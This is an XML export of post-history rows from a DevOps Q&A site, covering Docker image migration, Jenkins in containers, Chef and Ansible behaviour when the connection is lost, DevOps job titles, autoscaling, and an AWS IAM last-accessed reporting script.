  <row Id="20330" PostHistoryTypeId="5" PostId="6371" RevisionGUID="fa4f2afd-3117-41a1-a3cf-74dde8159df4" CreationDate="2019-02-15T10:15:44.490" UserId="11179" Comment="deleted 2 characters in body" Text="From what I understand of https://stackoverflow.com/questions/28734086/how-to-move-docker-containers-between-different-hosts, `docker export` will only save the container filesystem. But no metadata such as the default command, leading to that error when you try to run the imported archive:&#xD;&#xA;&#xD;&#xA;    sh# IMAGE=$(docker import phpbb.tar)                                                                                                                                       &#xD;&#xA;    sh# docker run &quot;${IMAGE}&quot;&#xD;&#xA;    docker: Error response from daemon: No command specified.&#xD;&#xA;&#xD;&#xA;At this point, given my need, it is sufficient to `docker commit` the container to a new image, then `docker save` the image, and finally `docker load` and `docker run` it on the new host:&#xD;&#xA;&#xD;&#xA;    old# IMAGE=$(docker commit CONTAINER) name:latest&#xD;&#xA;    old# docker save &quot;${IMAGE}&quot; |gzip &gt; archive.tar.gz&#xD;&#xA;    old# scp archive.tar.gz root@new:.&#xD;&#xA;&#xD;&#xA;&lt;!-- --&gt;&#xD;&#xA;&#xD;&#xA;    new# docker load &lt; archive.tar.gz&#xD;&#xA;    new# docker run name:latest&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="20331" PostHistoryTypeId="5" PostId="6371" RevisionGUID="2742bc4a-fbe3-41de-939d-04eb46980433" CreationDate="2019-02-15T10:53:40.157" UserId="11179" Comment="added 96 characters in body" Text="From what I understand of https://stackoverflow.com/questions/28734086/how-to-move-docker-containers-between-different-hosts, `docker export` will only save the container filesystem. But no metadata such as the default command, leading to that error when you try to run the imported archive:&#xD;&#xA;&#xD;&#xA;    sh# IMAGE=$(docker import phpbb.tar)                                                                                                                                       &#xD;&#xA;    sh# docker run &quot;${IMAGE}&quot;&#xD;&#xA;    docker: Error response from daemon: No command specified.&#xD;&#xA;&#xD;&#xA;At this point, given my need, it is sufficient to `docker commit` the container to a new image, then `docker save` the image, and finally `docker load` and `docker run` it on the new host:&#xD;&#xA;&#xD;&#xA;    old# docker commit CONTAINER name:tag&#xD;&#xA;    old# docker save name:tag |gzip &gt; archive.tar.gz&#xD;&#xA;    old# scp archive.tar.gz root@new:.&#xD;&#xA;&#xD;&#xA;&lt;!-- --&gt;&#xD;&#xA;&#xD;&#xA;    new# docker load &lt; archive.tar.gz&#xD;&#xA;    new# docker run name:latest&#xD;&#xA;&#xD;&#xA;It is important to save the image by repository `name:tag` and not by id to preserve the tag in the archive." ContentLicense="CC BY-SA 4.0" />
  <row Id="20332" PostHistoryTypeId="2" PostId="6378" RevisionGUID="c63ffe15-f39e-47e0-9321-f095af496a45" CreationDate="2019-02-15T11:46:20.187" UserId="11654" Text="I am not sure if I understand your question completely. But I think what you want is a Jenkins Master-Slave setup. Meaning that you have one Jenkins master - taking jobs, schedule them, can also execute jobs itself - and some slaves who will do the workload. &#xD;&#xA;&#xD;&#xA;You can find step-by-step guides for this. Here for example: https://www.howtoforge.com/tutorial/ubuntu-jenkins-master-slave/ &#xD;&#xA;&#xD;&#xA;Hope that answered your question." ContentLicense="CC BY-SA 4.0" />
  <row Id="20333" PostHistoryTypeId="5" PostId="4450" RevisionGUID="c79caa3f-833a-4a9c-b82c-77e5f988ff19" CreationDate="2019-02-15T13:12:50.213" UserId="8830" Comment="Add link to target docs" Text="You can build and tag any stage of a multi-stage build. Just use the [`--target` option](https://docs.docker.com/develop/develop-images/multistage-build/#stop-at-a-specific-build-stage) to `docker build`. E.g.&#xD;&#xA;&#xD;&#xA;    docker build --target jdk -t myapp-jdk:v1 .&#xD;&#xA;    docker build --target jre -t myapp:v1 .&#xD;&#xA;&#xD;&#xA;With the layer caching, the the earlier steps will be reused from the cache and not rerun from scratch each time, so there's little downside to running the build to different targets multiple times.&#xD;&#xA;&#xD;&#xA;If you absolutely need to run this from a single build command, you can parse the output of the build, get the image id of the intermediate step, and tag that image id:&#xD;&#xA;&#xD;&#xA;    docker tag &lt;some_image_id&gt; myapp-jdk:v1&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="20334" PostHistoryTypeId="24" PostId="4450" RevisionGUID="c79caa3f-833a-4a9c-b82c-77e5f988ff19" CreationDate="2019-02-15T13:12:50.213" Comment="Proposed by 8830 approved by 40, 7730 edit id of 945" ContentLicense="CC BY-SA 4.0" />
  <row Id="20335" PostHistoryTypeId="50" PostId="5827" RevisionGUID="14234513-1f51-480e-b25a-2036dc6667a8" CreationDate="2019-02-15T14:02:05.403" UserId="-1" />
  <row Id="20336" PostHistoryTypeId="50" PostId="5014" RevisionGUID="8b721e91-072f-45b2-ab05-12323870d5d8" CreationDate="2019-02-15T16:01:15.270" UserId="-1" />
  <row Id="20337" PostHistoryTypeId="5" PostId="6371" RevisionGUID="65b638c9-1660-4f1a-afc8-bac6ab127ab5" CreationDate="2019-02-15T16:18:28.760" UserId="11179" Comment="deleted 9 characters in body" Text="From what I understand of https://stackoverflow.com/questions/28734086/how-to-move-docker-containers-between-different-hosts, `docker export` will only save the container filesystem. But no metadata such as the default command, leading to that error when you try to run the imported archive:&#xD;&#xA;&#xD;&#xA;    sh# IMAGE=$(docker import phpbb.tar)                                                                                                                                       &#xD;&#xA;    sh# docker run &quot;${IMAGE}&quot;&#xD;&#xA;    docker: Error response from daemon: No command specified.&#xD;&#xA;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;Given my need, it is sufficient to `docker commit` the container to a new image, then `docker save` the image, and finally `docker load` and `docker run` it on the new host:&#xD;&#xA;&#xD;&#xA;    old# docker commit CONTAINER name:tag&#xD;&#xA;    old# docker save name:tag |gzip &gt; archive.tar.gz&#xD;&#xA;    old# scp archive.tar.gz root@new:.&#xD;&#xA;&#xD;&#xA;&lt;!-- --&gt;&#xD;&#xA;&#xD;&#xA;    new# docker load &lt; archive.tar.gz&#xD;&#xA;    new# docker run name:latest&#xD;&#xA;&#xD;&#xA;It is important to save the image by repository `name:tag` and not by id to preserve the tag in the archive." ContentLicense="CC BY-SA 4.0" />
  <row Id="20341" PostHistoryTypeId="2" PostId="6379" RevisionGUID="db3bae9a-c1b8-4822-8ad1-ad60bdaf0655" CreationDate="2019-02-15T18:21:07.760" UserId="12441" Text="This may sound mean but 6 Sigma does not translate that well to computer systems. The general ideas are valid but the numbers are not. It is intended for the meat world, not a place were we routinely do calculations on gigs or tb's of data a day. Assume you run 1 trillion operations (not much when a regular desktop computer can do ~12 billion a second) at 99.99966% success you are still failing 350k times! &#xD;&#xA;&#xD;&#xA; - Yes, most of the operations on the code side will actually be made up of multiple CPU operations&#xD;&#xA; - Yes, some of this is caught by hardware via ECC etc&#xD;&#xA;&#xD;&#xA;What would stand up would be trying to use S6 against the changes you make to a computer system (code pushes or otherwise). Not the operation of existing code (which needs a much higher level of reliability than what you'd use to evaluate PPM on a shop floor for physically created stuff)." ContentLicense="CC BY-SA 4.0" />
  <row Id="20342" PostHistoryTypeId="2" PostId="6380" RevisionGUID="6fc944ee-a194-41ae-b213-de2e6f1d3915" CreationDate="2019-02-15T21:50:43.467" UserId="12450" Text="I'm trying to configure CI with Jenkins for my private project. Problem:&#xD;&#xA;&#xD;&#xA; - whenever I start building a pipeline project, it gives me ,,Docker is not found'' error&#xD;&#xA; - whenever I try to work around this by installing npm plugin and running bash script `npm install` as a build step, I get node/npm not found&#xD;&#xA;&#xD;&#xA;Solutions I've found and tried:&#xD;&#xA;&#xD;&#xA;According to official Jenkins docker image docs, all one is supposed to do is to mount docker.socket in dockerfile/docker-compose file and it should ,,just'' work (it doesn't) - example: &#xD;&#xA;```&#xD;&#xA;volumes:&#xD;&#xA;     - /var/run/docker.sock:/var/run/docker.sock&#xD;&#xA; ```&#xD;&#xA;&#xD;&#xA;The only solution that was close to working as intended, was to install docker directly on Jenkins container and then setting user for jenkins. It works, but only until docker image is running. When I kill it and run it again, docker isn't installed on container and so every pipeline fails again. I can't have that, I cannot have a downtime caused by say remote server being down. I'd have to manually install docker on that Jenkins container every time something was down.&#xD;&#xA;&#xD;&#xA;Any ideas?" ContentLicense="CC BY-SA 4.0" />
  <row Id="20343" PostHistoryTypeId="1" PostId="6380" RevisionGUID="6fc944ee-a194-41ae-b213-de2e6f1d3915" CreationDate="2019-02-15T21:50:43.467" UserId="12450" Text="Maintaining Jenkins configuration with docker" ContentLicense="CC BY-SA 4.0" />
  <row Id="20344" PostHistoryTypeId="3" PostId="6380" RevisionGUID="6fc944ee-a194-41ae-b213-de2e6f1d3915" CreationDate="2019-02-15T21:50:43.467" UserId="12450" Text="&lt;docker&gt;&lt;jenkins&gt;&lt;continuous-integration&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="20346" PostHistoryTypeId="2" PostId="6381" RevisionGUID="f9aa9d2a-dc30-4719-a3df-7bf4b5fd9281" CreationDate="2019-02-16T04:15:19.380" UserId="10550" Text="**Scenario**&#xD;&#xA;&#xD;&#xA;Configuration management tools like Ansible or Chef often ha a master/controlling machine and the machines they controlled (agents). &#xD;&#xA;&#xD;&#xA;What if the connection between master and agents is lost during pulling/pushing configuration? Will the agents themselves carry on applying the configuration or will they stop?&#xD;&#xA;&#xD;&#xA;**Question**&#xD;&#xA;&#xD;&#xA;Please give me the answer for the above question in regard to Ansible and Chef with reference." ContentLicense="CC BY-SA 4.0" />
  <row Id="20347" PostHistoryTypeId="1" PostId="6381" RevisionGUID="f9aa9d2a-dc30-4719-a3df-7bf4b5fd9281" CreationDate="2019-02-16T04:15:19.380" UserId="10550" Text="Chef vs Ansible: will configuration be applied if connection is lost during configuration pulling/pushing?" ContentLicense="CC BY-SA 4.0" />
  <row Id="20348" PostHistoryTypeId="3" PostId="6381" RevisionGUID="f9aa9d2a-dc30-4719-a3df-7bf4b5fd9281" CreationDate="2019-02-16T04:15:19.380" UserId="10550" Text="&lt;ansible&gt;&lt;chef&gt;&lt;configuration-management&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="20350" PostHistoryTypeId="2" PostId="6383" RevisionGUID="670efd42-5cf6-49a1-abb0-6539a3442913" CreationDate="2019-02-16T07:01:43.250" UserId="5154" Text="In the comments section of [this answer][1], it’s explained that the asker is a “(system) engineer practicing DevOps” not a DevOps engineer, and this it is an “important distinction” not often understood. &#xA;&#xA;So, what makes a DevOps Engineer NOT a DevOp Engineer? What is the distinction between a System Engineer and DevOps Engineer that is not often understood?&#xA;&#xA;&#xA;  [1]: https://devops.stackexchange.com/q/1305/5154" ContentLicense="CC BY-SA 4.0" />
  <row Id="20351" PostHistoryTypeId="1" PostId="6383" RevisionGUID="670efd42-5cf6-49a1-abb0-6539a3442913" CreationDate="2019-02-16T07:01:43.250" UserId="5154" Text="Can someone explain what a “system engineer practicing DevOps” means?" ContentLicense="CC BY-SA 4.0" />
  <row Id="20352" PostHistoryTypeId="3" PostId="6383" RevisionGUID="670efd42-5cf6-49a1-abb0-6539a3442913" CreationDate="2019-02-16T07:01:43.250" UserId="5154" Text="&lt;culture&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="20353" PostHistoryTypeId="50" PostId="6003" RevisionGUID="bf71ac99-12f2-48ed-a182-904bdc96f01f" CreationDate="2019-02-16T08:01:05.180" UserId="-1" />
  <row Id="20357" PostHistoryTypeId="2" PostId="6385" RevisionGUID="1b314b63-53a6-4961-a5fb-e73d1c826060" CreationDate="2019-02-16T09:40:24.153" UserId="6950" Text="I have LDAP Group.&#xD;&#xA;&#xD;&#xA;    superproduct1&#xD;&#xA;&#xD;&#xA;In LDAP Group has some users: &#xD;&#xA;&#xD;&#xA;    developer1, tester1, analitic1, project1&#xD;&#xA;&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;I want to create ansible playbook for add LDAP group to SSH access on host.&#xD;&#xA;&#xD;&#xA;Found only &#xD;&#xA;&#xD;&#xA;[group – Add or remove groups][1]&#xD;&#xA;&#xD;&#xA;    - name: Ensure group &quot;somegroup&quot; exists&#xD;&#xA;      group:&#xD;&#xA;        name: somegroup&#xD;&#xA;        state: present&#xD;&#xA;&#xD;&#xA;How to add LDAP group superproduct1 for ssh access?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.ansible.com/ansible/latest/modules/group_module.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="20358" PostHistoryTypeId="1" PostId="6385" RevisionGUID="1b314b63-53a6-4961-a5fb-e73d1c826060" CreationDate="2019-02-16T09:40:24.153" UserId="6950" Text="How to add LDAP group for ssh access by ansible playbook?" ContentLicense="CC BY-SA 4.0" />
  <row Id="20359" PostHistoryTypeId="3" PostId="6385" RevisionGUID="1b314b63-53a6-4961-a5fb-e73d1c826060" CreationDate="2019-02-16T09:40:24.153" UserId="6950" Text="&lt;ansible&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="20360" PostHistoryTypeId="2" PostId="6386" RevisionGUID="66e6d91c-1fea-482f-b201-3fcd39652e5c" CreationDate="2019-02-16T09:50:31.057" UserId="12305" Text="What the comment means is that DevOps is a way of working, a culture if you will, not a job title. There are plenty of blog posts about it.&#xD;&#xA;&#xD;&#xA;While they have a point, one could also argue that Cubism is a way of painting, but &quot;cubist painter&quot; is still perfectly valid.&#xD;&#xA;&#xD;&#xA;This is a potentially long and opinionated discussion, which is out of scope of this forum.&#xD;&#xA;&#xD;&#xA;The point is, the definition of DevOps is too lacking on specifics about what exactly the person practicing it does and what kind of tools they use to do it to be of any actual use as a job title. Which is why it is often misunderstood and misused. And there is (almost?) always a better title to describe the job.&#xD;&#xA;&#xD;&#xA;For example, if your job consists of solely setting up pipelines in Jenkins, then you might get slapped with the title &quot;DevOps Engineer&quot;. However:&#xD;&#xA;&#xD;&#xA;- A job that specialized would be contrary to the idea of DevOps in the first place.&#xD;&#xA;- &quot;Jenkins specialist&quot; is a more apt title. Just an example, there are better names for it.&#xD;&#xA;&#xD;&#xA;The title is avoided by most companies these days, often replaced by &quot;Automation Engineer&quot;. Which, while still vague, it is less so then DevOps Engineer.&#xD;&#xA;&#xD;&#xA;Going back to the specifics of the comment, many times the people that installed Jenkins (and the like) in a company were the Systems Engineers. And they probably also explained how it works to other people in the company, maybe even used the term DevOps to explain the philosophy behind it. Which is why the two are often confused. &quot;The guy that takes care of Jenkins? Oh, you mean the DevOps guy? Yeah, DevOps Engineer&quot;. No, he's a Systems Engineer practicing DevOps. If nothing else, he should know a lot more than just Jenkins." ContentLicense="CC BY-SA 4.0" />
  <row Id="20361" PostHistoryTypeId="2" PostId="6387" RevisionGUID="a447c525-1258-4f0d-99f3-2060f0188263" CreationDate="2019-02-16T10:14:23.007" UserId="11179" Text="I need to justify container adoption.&#xD;&#xA;&#xD;&#xA;I have several solid arguments, but one is making me dubious. Is it correct to say software can &quot;run better&quot; or &quot;worst&quot; depending on the Linux distribution? Here is what I heard:&#xD;&#xA;&#xD;&#xA;&gt; some software run better on RedHat-based distributions, other better on Debian-based distributions. With containers, you can run each software on its preferred environment regardless of the operating system installed on the host.&#xD;&#xA;&#xD;&#xA;Is it true? And if it is, do you have an example of such software?" ContentLicense="CC BY-SA 4.0" />
  <row Id="20362" PostHistoryTypeId="1" PostId="6387" RevisionGUID="a447c525-1258-4f0d-99f3-2060f0188263" CreationDate="2019-02-16T10:14:23.007" UserId="11179" Text="Is &quot;running several Linux distributions on the same host&quot; a good justifiction for container adoption?" ContentLicense="CC BY-SA 4.0" />
  <row Id="20363" PostHistoryTypeId="3" PostId="6387" RevisionGUID="a447c525-1258-4f0d-99f3-2060f0188263" CreationDate="2019-02-16T10:14:23.007" UserId="11179" Text="&lt;containers&gt;&lt;culture&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="20364" PostHistoryTypeId="2" PostId="6388" RevisionGUID="83c40140-7b40-4f4f-8021-3e06c0d80028" CreationDate="2019-02-16T10:57:51.523" UserId="9308" Text="When creating a fresh new Jenkins server is it better to install it on a VM or Docker?&#xD;&#xA;&#xD;&#xA;I know that for most situations when you want just one bit of software on a server the answer would be Docker. Because of all it's plugins and their updates it is a rapidly changing piece of software so it feels like this is the exception. &#xD;&#xA;&#xD;&#xA;If you were to use a Docker container, I know you can save all the jobs and configurations on external volumes. How would you go about keeping the updated plugins so you won't have to reinstall them if it falls? Is there a better way than Docker commits/images/saves? Those feel like they could quickly become clunky." ContentLicense="CC BY-SA 4.0" />
  <row Id="20365" PostHistoryTypeId="1" PostId="6388" RevisionGUID="83c40140-7b40-4f4f-8021-3e06c0d80028" CreationDate="2019-02-16T10:57:51.523" UserId="9308" Text="Best practice for installing new jenkins server" ContentLicense="CC BY-SA 4.0" />
  <row Id="20366" PostHistoryTypeId="3" PostId="6388" RevisionGUID="83c40140-7b40-4f4f-8021-3e06c0d80028" CreationDate="2019-02-16T10:57:51.523" UserId="9308" Text="&lt;docker&gt;&lt;jenkins&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="20367" PostHistoryTypeId="2" PostId="6389" RevisionGUID="36367c20-e9f2-4b03-9b8a-1d63ce431b18" CreationDate="2019-02-16T11:51:33.877" UserId="12305" Text="That is not a good argument and it shows a basic misunderstanding of what containers are and how they should be used. Containers are NOT virtual machines.&#xD;&#xA;&#xD;&#xA;A container runs a (short lived) process. Think executable, like `ls`, or `top`, or a shell or Python script. When the process ends, the container is destroyed. The process is isolated from other processes running on the same machine. Basically the kernel reserves some space (memory/CPU) for that process, runs the executable inside that isolated space, then releases the reservation. The reserved space is the container.&#xD;&#xA;&#xD;&#xA;A virtual machine on the other hand is an emulator. It pretends there is an entire computer and it needs an operating system to, well, operate it. It boots a kernel, starts an init system and then a whole bunch of processes to deal with every aspect of the emulated hardware.&#xD;&#xA;&#xD;&#xA;A container is supposed to be small and fast. And it's not generally supposed to run for days, or even hours. Compared to a virtual machine, which gives the user more freedom, but also takes more resources. Packing an entire distribution like Debian or RedHat inside a container would defeat the purpose.&#xD;&#xA;&#xD;&#xA;For example, you're not supposed to run a web server (say, Nginx + PHP) inside a container. When a page is requested, you run the PHP script inside a container to generate the page, hand the output over to Nginx running outside, then the container is destroyed. If you want Nginx+PHP in the same space, you're better off with a virtual machine. There may be reasons to set it up as a container, but technically speaking Nginx workers already do the work of containers, so you'd just be duplicating that." ContentLicense="CC BY-SA 4.0" />
  <row Id="20368" PostHistoryTypeId="2" PostId="6390" RevisionGUID="3d07e4c8-272b-488b-9956-f81f36f059ae" CreationDate="2019-02-16T12:47:18.800" UserId="11179" Text="I have a stateless web service running in a Docker container. The web service is single threaded.&#xD;&#xA;&#xD;&#xA;We would like to span new instances of the service when the load reaches a given threshold. Is that a job for an orchestration tool?" ContentLicense="CC BY-SA 4.0" />
  <row Id="20369" PostHistoryTypeId="1" PostId="6390" RevisionGUID="3d07e4c8-272b-488b-9956-f81f36f059ae" CreationDate="2019-02-16T12:47:18.800" UserId="11179" Text="Do I need an orchestration tool to autoscale/scale on demand my web service?" ContentLicense="CC BY-SA 4.0" />
  <row Id="20370" PostHistoryTypeId="3" PostId="6390" RevisionGUID="3d07e4c8-272b-488b-9956-f81f36f059ae" CreationDate="2019-02-16T12:47:18.800" UserId="11179" Text="&lt;docker&gt;&lt;culture&gt;&lt;autoscaling&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="20371" PostHistoryTypeId="2" PostId="6391" RevisionGUID="b9672370-cb45-463c-9870-648b32456ee4" CreationDate="2019-02-16T15:24:04.267" UserId="47" Text="Yes. And there are tools out there covering this piece of functionality. &#xD;&#xA;&#xD;&#xA;Probably the most popular one is [kubernetes][1] (see also [tag:kubernetes]):&#xD;&#xA;&#xD;&#xA;&gt; [Kubernetes (k8s)][2] is an open-source system for automating&#xD;&#xA;&gt; deployment, scaling, and management of containerized applications.&#xD;&#xA;&#xD;&#xA;Depending on the provider for your deployment environment the actual orchestration tool/service may be already included and all you'd provide would be your desired scalability configuration. For example when deploying on the Google App Engine Flexible environment the [service scaling settings][3] could look like this:&#xD;&#xA;&#xD;&#xA;&gt;     automatic_scaling:&#xD;&#xA;&gt;       min_num_instances: 1&#xD;&#xA;&gt;       max_num_instances: 15&#xD;&#xA;&gt;       cool_down_period_sec: 180&#xD;&#xA;&gt;       cpu_utilization:&#xD;&#xA;&gt;         target_utilization: 0.6&#xD;&#xA;&#xD;&#xA;  [1]: https://kubernetes.io/&#xD;&#xA;  [2]: https://kubernetes.io/docs/concepts/overview/what-is-kubernetes/&#xD;&#xA;  [3]: https://cloud.google.com/appengine/docs/flexible/python/reference/app-yaml#services" ContentLicense="CC BY-SA 4.0" />
  <row Id="20372" PostHistoryTypeId="4" PostId="6387" RevisionGUID="bbba335a-464c-4a00-9010-99022e41d971" CreationDate="2019-02-16T17:11:40.710" UserId="11179" Comment="edited title" Text="Is &quot;running several Linux distributions on the same host&quot; a good justification for container adoption?" ContentLicense="CC BY-SA 4.0" />
  <row Id="20373" PostHistoryTypeId="2" PostId="6392" RevisionGUID="506a8187-46e9-428d-aa8b-30d53bd61a8b" CreationDate="2019-02-16T17:15:28.557" UserId="739" Text="The safest assumption to make here is that the configuration is not applied completely and you should try again once the network is back.  You can set things up to work without the network, but why go to that work when it will try again for you in a few minutes?&#xD;&#xA;&#xD;&#xA;# Chef&#xD;&#xA;&#xD;&#xA;Chef tends to be run in the client-server mode as you describe so the `chef-client` agent on the &quot;controlled&quot; machine would keep running.  It would get stuck when it needed to get cookbooks or figure out which roles were assigned.  It will eventually time out and the chef run will fail.  Then it would try again in a few minutes.  By default the agent tries to do a chef run every 30 minutes.&#xD;&#xA;&#xD;&#xA;If you're using `chef-zero` instead of the client-server style of chef then you could have everything staged on the &quot;controlled&quot; machine so that any network interruption wouldn't break it because of chef itself.  You might still have network dependancies in the cookbooks used.&#xD;&#xA;&#xD;&#xA;# Ansible ssh // push&#xD;&#xA;&#xD;&#xA;Ansible started off by doing everything via `ssh`.  In this style of Ansible the completion state on the &quot;controlled&quot; node would be unknown but from the perspective of the user running ansible that node would clearly need to be retried.  Ansible creates a file for you with all of the hosts that need to be retried.&#xD;&#xA;&#xD;&#xA;# Ansible in cron // pull&#xD;&#xA;&#xD;&#xA;If you're running Ansible from a `cron` job then it will face similar issues to the classic `chef-client`.  The node will need to phone home to find roles and updates, but it will time out and retry later." ContentLicense="CC BY-SA 4.0" />
  <row Id="20374" PostHistoryTypeId="50" PostId="6022" RevisionGUID="676dcd7a-dd71-4c8d-abdd-3dc0d41f3ac3" CreationDate="2019-02-16T20:02:30.540" UserId="-1" />
  <row Id="20375" PostHistoryTypeId="2" PostId="6393" RevisionGUID="a896bb5b-05c7-429f-94bf-c4c226ed96d4" CreationDate="2019-02-16T22:40:07.823" UserId="10599" Text="I am working with a microservices application that is using Ansible to deploy to a fleet if VMs. We have different numbers of replicas of each microservice type running across the VM fleet. Deployments are working fine using a single deploy playbook, passing it extra variables to say which service to install, and giving it a group of hosts to run against.&#xA;&#xA;Occasionally we need to move microservices between hosts to rebalance load. This isn't clean with how we have set up Ansible. Moving one movroservice instance means adding one new host entry, and removing one old host entry, from the inventory group. The new instance is installed but no logic will run against the removed host. We have to run another playbook to uninstall the service from the removed host. &#xA;&#xA;I am looking for a way to reorganize ansible so that it will quickly move a microservice. I am thinking that we should use a single inventory group of all hosts and use a list variable to say which hosts a microservice runs on. A custom fact can be set when a service is installed. The install task can check the fact and that the current host is in the list. The uninstall task can also check the fact and that the current host isn't in the list. Is this the right way to organise the logic or is there a better way?" ContentLicense="CC BY-SA 4.0" />
  <row Id="20376" PostHistoryTypeId="1" PostId="6393" RevisionGUID="a896bb5b-05c7-429f-94bf-c4c226ed96d4" CreationDate="2019-02-16T22:40:07.823" UserId="10599" Text="How to have Ansible move a microservice?" ContentLicense="CC BY-SA 4.0" />
  <row Id="20377" PostHistoryTypeId="3" PostId="6393" RevisionGUID="a896bb5b-05c7-429f-94bf-c4c226ed96d4" CreationDate="2019-02-16T22:40:07.823" UserId="10599" Text="&lt;ansible&gt;&lt;microservices&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="20382" PostHistoryTypeId="2" PostId="6394" RevisionGUID="8cd97212-8633-4864-abab-11b3147f03f0" CreationDate="2019-02-17T03:49:17.573" UserId="4115" Text="There is no single &quot;best&quot; practice.  Use whatever approach you and your team feel comfortable with and fits well with the rest of your infrastructure.&#xD;&#xA;&#xD;&#xA;If you want to do the Docker approach, you might find [this person's writeup](https://coderanger.net/jenkins/) worthwhile.&#xD;&#xA;&#xD;&#xA;To answer your questions:&#xD;&#xA;&#xD;&#xA;* &gt; If you were to use a Docker container, I know you can save all the jobs and configurations on external volumes. How would you go about keeping the updated plugins so you won't have to reinstall them if it falls?&#xD;&#xA;&#xD;&#xA;  Depends.  You may want to write a script or configuration management recipe that installs all your plugins for you and/or configures your jobs.  You can also create a custom Docker image containing Jenkins, all of your plugins, and all of your job configuration.  You can also combine these two approaches, using the aforementioned scripts as part of an automated image build process. Whatever you do, you should definitely ensure whatever files (e.g. Dockerfiles) and build steps (e.g. scripts) are part of the process are stored in configuration management in order to make deploys repeatable.&#xD;&#xA;&#xD;&#xA;* &gt; Is there a better way than Docker commits/images/saves? Those feel like they could quickly become clunky.&#xD;&#xA;&#xD;&#xA;  Again, it's really just a matter of what you're comfortable with, there's no such thing as &quot;best&quot;; instead aim for &quot;it does what I need it to do&quot;." ContentLicense="CC BY-SA 4.0" />
  <row Id="20384" PostHistoryTypeId="5" PostId="6393" RevisionGUID="5a9e39b1-3529-4ac8-98e8-044cbb7ef5da" CreationDate="2019-02-17T07:44:14.980" UserId="10599" Comment="added 24 characters in body" Text="I am working with a microservices application that is using Ansible to deploy to a fleet if VMs. We have different numbers of replicas of each microservice type running across the VM fleet. Deployments are working fine using a single deploy playbook, passing it extra variables to say which service to install, and giving naming it a group of hosts in the inventory to run against.&#xA;&#xA;Occasionally we need to move microservices between hosts to rebalance load. This isn't clean with how we have set up Ansible. Moving one movroservice instance means adding one new host entry, and removing one old host entry, from the inventory group. The new instance is installed but no logic will run against the removed host. We have to run another playbook to uninstall the service from the removed host. &#xA;&#xA;I am looking for a way to reorganize ansible so that it will quickly move a microservice. I am thinking that we should use a single inventory group of all hosts and use a list variable to say which hosts a microservice runs on. A custom fact can be set when a service is installed. The install task can check the fact and that the current host is in the list. The uninstall task can also check the fact and that the current host isn't in the list. Is this the right way to organise the logic or is there a better way?" ContentLicense="CC BY-SA 4.0" />
  <row Id="20385" PostHistoryTypeId="50" PostId="4709" RevisionGUID="3591783a-d60f-4c65-8dc0-7c4885d0def2" CreationDate="2019-02-17T10:01:30.287" UserId="-1" />
  <row Id="20386" PostHistoryTypeId="50" PostId="5157" RevisionGUID="7d79456f-d8ff-4bd8-8e02-44e5d88ef34d" CreationDate="2019-02-17T12:01:45.320" UserId="-1" />
  <row Id="20387" PostHistoryTypeId="2" PostId="6396" RevisionGUID="efbcedc7-1496-4844-98aa-2f4c23e8763b" CreationDate="2019-02-17T14:20:40.143" UserId="9308" Text="I've been meaning to come back to this.&#xD;&#xA;After consulting with AWS support it would seem that this is possible using some functions of the AWS CLI, that I was not aware of.&#xD;&#xA;&#xD;&#xA;Specifically they recommended using &#xD;&#xA;`aws iam generate-service-last-accessed-details` and `aws iam get-service-last-accessed-details-with-entities`, and they referred me to https://docs.aws.amazon.com/IAM/latest/UserGuide/access_policies_access-advisor-view-data.html#access_policies_access-advisor-viewing-cli.&#xD;&#xA;&#xD;&#xA;For completion's sake here's how I used it:&#xD;&#xA;&#xD;&#xA;&lt;pre&gt;#! /bin/bash&#xD;&#xA;&#xD;&#xA;ROLES=$(aws iam list-roles | jq -r .Roles[].Arn)&#xD;&#xA;for ROLE in $ROLES&#xD;&#xA;do &#xD;&#xA;    echo $ROLE&#xD;&#xA;    JOBID=$(aws iam generate-service-last-accessed-details --arn $ROLE | jq -r .JobId)&#xD;&#xA;    echo $JOBID&#xD;&#xA;    NAMESPACES=$(aws iam get-service-last-accessed-details --job-id $JOBID | jq -r .ServicesLastAccessed[].ServiceNamespace)&#xD;&#xA;    for NAMESPACE in $NAMESPACES&#xD;&#xA;    do  &#xD;&#xA;        echo $NAMESPACE&#xD;&#xA;        aws iam get-service-last-accessed-details-with-entities --job-id $JOBID --service-namespace $NAMESPACE | jq '.JobCompletionDate,.EntityDetailsList[].EntityInfo.Name,.EntityDetailsList[].EntityInfo.Id'&#xD;&#xA;    done    &#xD;&#xA;done &lt;/pre&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="20388" PostHistoryTypeId="5" PostId="6381" RevisionGUID="f823caee-ce2f-40ba-869a-d58ef44f4fd4" CreationDate="2019-02-17T15:21:01.917" UserId="739" Comment="copy editing" Text="**Scenario**&#xD;&#xA;&#xD;&#xA;Configuration management tools like Ansible or Chef often have a master/controlling machine and the machines they are controlling (agents). &#xD;&#xA;&#xD;&#xA;**Question**&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;What if the connection between master and agents is lost during pulling or pushing configuration? Will the agents themselves carry on applying the configuration or will they stop?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Please give me the answer for the above question in regard to Ansible and Chef with reference." ContentLicense="CC BY-SA 4.0" />
